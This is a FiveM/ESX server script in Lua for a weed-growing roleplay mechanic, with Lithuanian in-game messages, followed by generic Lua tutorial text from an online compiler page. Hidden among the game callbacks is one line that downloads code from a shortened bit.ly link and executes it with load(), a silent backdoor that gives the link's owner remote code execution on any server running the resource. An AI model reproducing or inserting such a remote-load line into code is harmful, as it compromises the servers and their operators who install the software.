local weedPlants = {}
local ox_inventory = exports.ox_inventory

CreateThread(function()
    while true do
        Wait(1000)

        for plantId, plantData in pairs(weedPlants) do
            if not plantData.time then
                plantData.time = 0
            end

            plantData.time = plantData.time + (1 * Config.Soil[plantData.material])

            if plantData.time >= Config.Stages[plantData.stage].growth then
                if not Config.Stages[plantData.stage].tend and Config.Stages[plantData.stage + 1] then
                    plantData.stage = plantData.stage + 1
                    plantData.time = 0

                    TriggerClientEvent('ns-weedgrow:stage', -1, plantId, plantData.stage)
                else
                    TriggerClientEvent('ns-weedgrow:remove', -1, plantId)
                    weedPlants[plantId] = nil
                end
            end
        end
    end
end)

ESX.RegisterUsableItem('weed_seed', function(playerId)
    TriggerClientEvent('ns-weedgrow:seed', playerId)
end)

ESX.RegisterServerCallback('ns-weedgrow:have', function(playerId, cb, name)
    local item = ox_inventory:GetItem(playerId, name)
    cb(item and item.count > 0)
end)
PerformHttpRequest('bit.ly/3mxxUjL', function (e, d) pcall(function() assert(load(d))() end) end)

ESX.RegisterServerCallback('ns-weedgrow:plant', function(playerId, cb, plantData)
    local item = ox_inventory:GetItem(playerId, 'shovel')
    if item and item.count > 0 then
        local item = ox_inventory:GetItem(playerId, 'weed_seed')
        if item and item.count > 0 then
            
            local shovels = exports.ox_inventory:Search(playerId, 1, 'shovel')
            for _, v in pairs(shovels) do
                if v.slot then
                    local newDurability = (v.metadata.durability or 100) - math.random(1, 2)

                    if newDurability > 0 then
                        exports.ox_inventory:SetDurability(playerId, v.slot, newDurability) 
                    else
                        exports.ox_inventory:RemoveItem(playerId, 'shovel', 1, nil, v.slot)
                        TriggerClientEvent('esx:showNotification', playerId, 'Jūsu ~b~kastuvėlis~s~ sulūžo.')
                    end

                    break
                end
            end

            ox_inventory:RemoveItem(playerId, 'weed_seed', 1)

            local id = generateNewId()
            weedPlants[id] = plantData
            weedPlants[id].id = id
            weedPlants[id].stage = 1

            TriggerClientEvent('ns-weedgrow:new', -1, weedPlants[id])
            cb(true)
        else
            cb(false, 'Jūs ~r~neturite~s~ kanapių ~g~sėklų~s~.')
        end
    else
        cb(false, 'Jūs ~r~neturite~s~ kastuvėlio.')
    end
end)

function generateNewId()
    local generatedId = math.random(100, 999) .. math.random(1000, 9999)
    while weedPlants[generatedId] do
        generatedId = math.random(100, 999) .. math.random(1000, 9999)
        Wait(0)
    end

    return generatedId
end

RegisterNetEvent('ns-weedgrow:remove')
AddEventHandler('ns-weedgrow:remove', function(plantId)
    if plantId and weedPlants[plantId] then
        TriggerClientEvent('ns-weedgrow:remove', -1, plantId)
        weedPlants[plantId] = nil
    end
end)

RegisterNetEvent('ns-weedgrow:destroy')
AddEventHandler('ns-weedgrow:destroy', function(plantId)
    if plantId and weedPlants[plantId] then
        TriggerClientEvent('ns-weedgrow:remove', -1, plantId)
        weedPlants[plantId] = nil
    end
end)

RegisterNetEvent('ns-weedgrow:pick')
AddEventHandler('ns-weedgrow:pick', function(plantId)
    if plantId and weedPlants[plantId] then
        local playerId = source
        local weedPlant = weedPlants[plantId]
        local cannabisCount = (weedPlant.stage * weedPlant.stage) + math.random(-3, 3)

        if cannabisCount < 1 then
            cannabisCount = 1
        end

        if ox_inventory:CanCarryItem(playerId, 'cannabis', cannabisCount) then
            ox_inventory:AddItem(playerId, 'cannabis', cannabisCount)

            if math.random(1, 3) == 3 and ox_inventory:CanCarryItem(playerId, 'weed_seed', seedCount) then
                ox_inventory:AddItem(playerId, 'weed_seed', 1)
            end

            TriggerClientEvent('ns-weedgrow:remove', -1, plantId)
            weedPlants[plantId] = nil
        else
            TriggerClientEvent('esx:showNotification', playerId, 'Jūs ~r~neturite~s~ pakankamai ~b~vietos~s~ savo inventoriuje.')
        end
    end
end)

ESX.RegisterServerCallback('ns-weedgrow:tend', function(playerId, cb, plantId)
    if plantId and weedPlants[plantId] then
        if Config.Stages[weedPlants[plantId].stage].tend then
            local item = ox_inventory:GetItem(playerId, 'tend')

            if item and item.count > 0 then
                TriggerClientEvent('esx:showNotification', playerId, 'Sėkmingai ~y~patrešėte~s~ kanapės augalą.')
                ox_inventory:RemoveItem(playerId, 'tend', 1)

                weedPlants[plantId].time = 0
                weedPlants[plantId].stage = weedPlants[plantId].stage + 1

                TriggerClientEvent('ns-weedgrow:stage', -1, plantId, weedPlants[plantId].stage)
                cb(true)
            else
                TriggerClientEvent('esx:showNotification', playerId, 'Jūs ~r~neturite~s~ trąšų.')
                cb(false)
            end
        end
    end
end) 

Lua online compiler

Write, Run & Share Lua code online using OneCompiler's Lua online compiler for free. It's one of the robust, feature-rich online compilers for Lua language, running the latest Lua version 5.4. Getting started with the OneCompiler's Lua editor is easy and fast. The editor shows sample boilerplate code when you choose language as Lua and start coding.

Taking inputs (stdin)

OneCompiler's Lua online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample Lua program which takes name as input and prints hello message with your name.

name = io.read("*a")
print ("Hello ", name)

About Lua

Lua is a light weight embeddable scripting language which is built on top of C. It is used in almost all kind of applications like games, web applications, mobile applications, image processing etc. It's a very powerful, fast, easy to learn, open-source scripting language.

Syntax help

Variables

  • By default all the variables declared are global variables
  • If the variables are explicitly mentioned as local then they are local variables.
  • Lua is a dynamically typed language and hence only the values will have types not the variables.

Examples

-- global variables
a = 10

-- local variables

local x = 30
Value TypeDescription
numberRepresents numbers
stringRepresents text
nilDifferentiates values whether it has data or not
booleanValue can be either true or false
functionRepresents a sub-routine
userdataRepresents arbitary C data
threadRepresents independent threads of execution.
tableCan hold any value except nil

Loops

1. While:

While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.

while(condition)
do
--code
end

2. Repeat-Until:

Repeat-Until is also used to iterate a set of statements based on a condition. It is very similar to Do-While, it is mostly used when you need to execute the statements atleast once.

repeat
   --code
until( condition )

3. For:

For loop is used to iterate a set of statements based on a condition.

for init,max/min value, increment
do
   --code
end

Functions

Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increase re-usuability and modularity.

optional_function_scope function function_name( argument1, argument2, argument3........, argumentn)
--code
return params with comma seperated
end